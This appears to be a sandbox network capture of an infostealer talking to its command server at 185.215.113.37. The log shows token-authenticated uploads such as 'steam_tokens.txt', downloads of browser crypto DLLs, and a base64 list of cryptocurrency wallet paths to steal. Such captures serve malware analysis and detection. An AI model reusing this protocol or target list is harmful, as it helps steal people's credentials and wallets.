Oct 1, 2024 06:03:07.391115904 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKJDAFHJDHIEBGCFIDB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4a 44 41 46 48 4a 44 48 49 45 42 47 43 46 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKJDAFHJDHIEBGCFIDBContent-Disposition: form-data; name="file"------IJKJDAFHJDHIEBGCFIDB--
Oct 1, 2024 06:03:08.113272905 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 1, 2024 06:03:08.718710899 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="file"------EHJKFCGHIDHCBGDHJKEB--
Oct 1, 2024 06:03:09.437032938 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 1, 2024 06:03:09.695337057 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 1, 2024 06:03:09.912462950 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 1, 2024 06:03:10.789026022 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 1, 2024 06:03:11.006515026 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 1, 2024 06:03:11.394738913 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 1, 2024 06:03:11.611736059 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:11 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 1, 2024 06:03:11.921925068 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 1, 2024 06:03:12.139017105 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 1, 2024 06:03:13.541892052 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 1, 2024 06:03:13.758989096 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 1, 2024 06:03:13.924035072 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 1, 2024 06:03:14.140954971 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 1, 2024 06:03:14.819885015 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDA Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 06:03:15.535921097 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 1, 2024 06:03:15.598432064 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBF Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"wallets------KJKFBAFIDAEBFHJKJEBF--
Oct 1, 2024 06:03:15.818064928 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:15 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 1, 2024 06:03:15.820846081 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDA Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 2d 2d 0d 0a Data Ascii: ------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="message"files------BGHIDGCAFCBAAAAAFHDA--
Oct 1, 2024 06:03:16.040087938 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 1, 2024 06:03:16.060138941 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEB Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 32 62 33 30 36 30 31 31 65 32 63 34 30 36 34 65 66 65 61 66 61 31 62 32 66 35 35 65 30 63 30 63 38 65 36 61 32 39 33 32 30 64 37 65 31 31 65 34 32 63 39 31 34 31 37 64 63 32 61 37 31 38 30 33 34 38 63 37 39 61 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"12b306011e2c4064efeafa1b2f55e0c0c8e6a29320d7e11e42c91417dc2a7180348c79a3------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="file"------GHJEGCAEGIIIDHIEBKEB--
Oct 1, 2024 06:03:16.767241955 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 04:03:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
